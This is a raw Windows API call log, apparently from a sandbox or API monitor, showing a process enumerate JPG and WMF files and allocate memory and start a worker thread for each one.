	[0207.251] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1
	[0207.251] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f8
	[0207.253] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.254] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1
	[0207.254] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15fc
	[0207.256] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.257] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1
	[0207.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1600
	[0207.259] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.260] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1
	[0207.260] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1604
	[0207.263] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.263] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1
	[0207.263] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1608
	[0207.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.266] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1
	[0207.266] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160c
	[0207.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.269] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1
	[0207.269] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1610
	[0207.271] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.272] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1
	[0207.272] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1614
	[0207.275] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.275] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1
	[0207.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618
	[0207.678] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.679] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1
	[0207.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x161c
	[0207.681] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.682] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1
	[0207.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1620
	[0207.685] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.685] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1
	[0207.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1624
	[0207.688] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.688] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1
	[0207.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1628
	[0207.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1
	[0207.692] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x162c
	[0207.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.695] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1
	[0207.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1630
	[0207.698] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.699] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1
	[0207.699] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1634
	[0207.701] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.702] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1
	[0207.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1638
	[0207.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.705] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1
	[0207.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x163c
	[0207.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.708] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1
	[0207.708] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640
	[0207.710] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.711] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1
	[0207.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1644
	[0208.141] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.142] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1
	[0208.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648
	[0208.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.145] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1
	[0208.145] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164c
	[0208.148] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.149] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1
	[0208.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650
	[0208.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.152] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1
	[0208.152] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1654
	[0208.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1
	[0208.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1658
	[0208.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1
	[0208.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x165c
	[0208.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.162] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1
	[0208.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660
	[0208.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
